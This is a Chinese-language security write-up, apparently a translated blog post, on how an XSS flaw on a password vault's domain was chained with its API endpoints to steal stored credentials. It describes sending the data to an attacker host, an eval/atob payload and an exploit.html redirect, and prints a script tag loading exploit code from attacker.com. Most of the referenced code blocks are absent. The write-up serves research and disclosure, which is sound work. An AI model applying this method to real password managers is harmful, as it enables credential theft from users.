导语:目前,随着安全意识的逐渐普及,越来越多的用户开始使用多种密码保管箱、密码管理器来帮助存储不同网站的不同密码。那么,这些密码存储软件是否足够安全呢? 在研究过程中,我发现在与Password Vault相同的域中存在一个跨站脚本漏洞,借
一、概述
目前,随着安全意识的逐渐普及,越来越多的用户开始使用多种密码保管箱、密码管理器来帮助存储不同网站的不同密码。那么,这些密码存储软件是否足够安全呢?
在研究过程中,我发现在与Password Vault相同的域中存在一个跨站脚本漏洞,借助该漏洞可以实现对Password Vault的破解。
二、应用程序流分析
为了更好地理解应用程序的工作方式,我们需要首先了解其功能和流,并且需要掌握应用是如何检索数据以及数据所在的位置。
在认真研究了应用程序的每个请求之后,我们发现应用程序会从位于/api/的API中检索不同的信息。
在对应用程序进行了一些爬行和抓取后,我发现了一些API端点:
三、详细分析API端点
当应用程序与API完全进行交互时,我们能够对流有更加明确的理解。在流中,每个端点都返回了一些值和信息,例如记录ID、Session Token等。为了实现窃取用户密码信息的目的,我们需要针对其中的一些API展开分析。
records/all
该端点位于/api/v3/records/all,负责接受GET请求。一旦在身份验证时,发送了GET请求,它就会返回具有记录ID的JSON对象以及与可用记录相关的其他信息。
passwords/record
该端点位于/api/v1/passwords/record。在从record/all端点检索记录ID后,这一端点用于从特定记录ID中检索密码和完整信息。
在我们的示例中,得到了以下Record ID:
526882 – “Facebook帐户”的记录ID;
526883 – “Google电子邮件”的记录ID。
如果用户单击“Facebook帐户”记录,将使用记录ID为526882的以下JSON数据,发送对/api/v1/passwords/record的POST请求。这一记录ID将会被发送到API,以检索完整的记录信息:
发送后,将会返回指定ID的以下信息,其中就包括了帐户和密码:
现在,我们已经知道如何检索ID,也知道了如何返回数据。但问题是,应用程序在向API发送每一个POST请求的时候都会附带发送CSRF Token。在请求中,Token用于验证用户的会话是否有效。
session/token
为了找出这一Token是如何生成的,我查找了其他端点,试图找到有用的线索。终于,我发现位于/api/v1/session/token的API端点负责生成CSRF Token。
向端点发出GET请求,将会返回如下响应内容:
四、武器化
现在,我们开始研究应用程序流以及用于交换数据的端点。我们需要通过某种方式,从下面的端点中获取信息:
从/api/v1/passwords/record中获取Session Token;
从/api/v3/records/all中获取记录ID;
从/api/v1/passwords/record中获取记录信息。
为了从端点获取信息,有一个简单的技巧是利用一些错误配置的CORS,但在这里,应用程序似乎并没有将它用于资源共享。
此外,还有另一种可能性,是在同一个域中找到XSS漏洞,以应对同源策略(SOP)。否则,我们所有的XHR调用都会因为违反同源策略而失效。
在过了一段时间之后,我成功地在一个电子邮件激活页面上获得了XSS,用户输入的电子邮件没有正确进行过滤。
目前,我们已经拥有了武器化的方法,现在就不用再担心同源策略,可以轻松进行XHR调用,从而以与应用程序相同的方式与API进行通信。
五、复制应用程序的正常流
现在,我们需要复制应用程序流。为了能借助XSS漏洞复制应用程序流并获取所需信息,我们需要确保它能够以相同的方式进行。
首先,使用JavaScript函数fetch()向/api/v3/records/all发出GET请求,获取所有记录ID:
获取记录后,接下来需要获取Session Token,以发出POST请求。在这里,我将记录的响应转换为JSON,并直接从JSON对象调用记录ID的值。fetch()用于发送GET请求以捕获Token,并从JSON对象中检索其值:
现在,我们得到了“session_token”和“record ID”。接下来要做的,就是要将包含记录ID的POST请求发送到/api/v1/passwords/record。我将会使用XHR发送具有指定记录ID的POST请求。需要遍历记录ID,以逐条检索记录信息:
如大家所见,从第30-34行可以看出,XHR被正确地配置。在第45行中,相应的值以{"id":record_ID_here,"is_organization:false}形式保存,随后发出请求。
在请求发出后,会解析得到的响应,并从响应中获取相应信息,例如标题、URL、用户名、密码。然后将这些值添加到虚拟变量“data_chunks”中,以进行最终处理。
在使用收集到的数据填充虚拟变量后,它将编码为Base64,以避免产生字符冲突,并发送到攻击者的主机上。
在这里请注意:还有许多其他方法可以正确发送抓取到的数据,为了使演示尽量简单,我选择了Base64编码方法。此外,通过POST将数据发送到特定文件也是一个不错的选择。
六、瞄准目标
现在,我们的漏洞已经准备完成,我们必须要在易受攻击的区域利用XSS漏洞。在利用XSS时,可以使用两个简单的技巧:
在外部主机上托管JavaScript漏洞利用方法(可能需要设置CORS才能使其可以访问);
直接使用eval和atob,并在其中包含Payload。
对于第一种技术,需要通过注入的<script src="http://attacker.com/path_to_exploit.js"></script>来加载外部JavaScript。在处理大型漏洞利用代码时,这种方法很有效,并且由于漏洞利用代码不会记录在服务器中,可以实现一定程度的隐藏。
第二种方法的优势在于效率非常高,可以用于处理较短的Payload。在这里,我将使用以下Payload:
现在只需用Base64编码的源代码替换atob()的值就可以了。首先,我们的Payload将由atob解码,然后使用eval()执行。
所以这是最终的Payload:
在这里,有人会说这是一个比较大的Payload,显然,也可以从外部主机来加载.js文件,但为了省去设置CORS,我还是选择了这种方法。
现在,我需要托管一个exploit.html文件,其代码如下:
现在只需为exploit.html提供一个URL,攻击者就可以让用户将表单http://attacker.com/exploit.html重定向到注入Payload的页面。
因此,我们将数据提供给已配置的用于检索数据的主机:
从上面的屏幕截图中,我们可以看到存储在Password Vault中的记录最终被成功检索到,并且我们成功利用了XSS漏洞。
通过这一漏洞,我们可以知道,XSS不仅仅是一个弹出的窗口,如果被正确利用,XSS漏洞所带来的危害是不容小觑的。安全研究人员只是通过无害的弹出窗口来验证是否存在XSS漏洞。
希望这篇文章能够与大家分享我的经验。此外,我的漏洞利用代码也已经上传到Github,如果有需要可以自行查看:https://gist.github.com/shawarkhanethicalhacker/e40a7c3956fdd24b9fb63d03d94c3d34